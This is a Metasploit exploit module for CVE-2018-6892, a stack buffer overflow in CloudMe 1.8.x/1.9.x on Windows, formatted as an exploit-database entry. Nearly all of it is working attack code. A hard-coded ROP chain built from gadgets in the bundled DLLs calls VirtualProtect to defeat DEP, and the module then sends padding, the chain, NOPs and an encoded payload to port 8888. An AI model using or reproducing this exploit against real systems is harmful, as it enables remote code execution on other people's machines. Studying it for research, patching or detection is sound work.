Cloudme 1.9 – Buffer Overflow (DEP) (Metasploit)
# Exploit Title: Cloudme 1.9 - Buffer Overflow (DEP) (Metasploit) # Date: 2018-08-13 # Exploit Author: Raymond Wellnitz # Vendor Homepage: https://www.cloudme.com # Version: 1.8.x/1.9.x # Tested on: Windows 7 x64 # CVE : 2018-6892 ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Cloudme v1.8.x/v1.9.x Buffer Overflow with DEP-Bypass', 'Description' => %q{ This module exploits a stack buffer overflow in Cloudme v1.8.x/v1.9.x. }, 'Author' => [ 'Raymond Wellnitz' ], 'References' => [ [ 'CVE', 'CVE-2018-6892' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Platform' => 'win', 'Privileged' => true, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00" }, 'Targets' => [ [ 'Windows x86_32/64', { 'Ret' => 0x6cfa88a2 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => '11.02.2018')) register_options([ Opt::RPORT(8888) ]) end def create_rop_chain() rop_gadgets = [ 0x6cf98182, # POP EAX # RETN [icuin49.dll] 0x68c848d8, # ptr to &VirtualProtect() [IAT Qt5Core.dll] 0x61b4d226, # MOV EAX,DWORD PTR DS:[EAX] # RETN [Qt5Gui.dll] 0x668d8261, # XCHG EAX,ESI # RETN [libGLESv2.dll] 0x68a5c297, # POP EBP # RETN [Qt5Core.dll] 0x688dd45d, # & JMP ESP [Qt5Core.dll] 0x68abe868, # POP EAX # RETN [Qt5Core.dll] 0xfffffdff, # 201 0x1004b263, # NEG EAX # RETN [LIBEAY32.dll] 0x689687d2, # XCHG EAX,EBX # RETN 0x68abe868, # POP EAX # RETN [Qt5Core.dll] 0xffffffc0, # 40 0x1004b263, # NEG EAX # RETN [LIBEAY32.dll] 0x6751d479, # XCHG EAX,EDX # RETN [icuuc49.dll] 0x100010c7, # POP ECX # RETN [LIBEAY32.dll] 0x6494ea0a, # &Writable location [libwinpthread-1.dll] 0x68a49534, # POP EDI # RETN [Qt5Core.dll] 0x1008df82, # RETN (ROP NOP) [LIBEAY32.dll] 0x68ad025b, # POP EAX # RETN [Qt5Core.dll] 0x90909090, # NOPS 0x6759bdb4, # PUSHAD # RETN [icuuc49.dll] ].flatten.pack("V*") return rop_gadgets end def exploit connect sploit = rand_text_alpha_upper(1036) sploit << create_rop_chain() sploit << make_nops(30) sploit << payload.encoded print_status("Trying target #{target.name}...") sock.put(sploit + "\r\n\r\n") handler disconnect end end |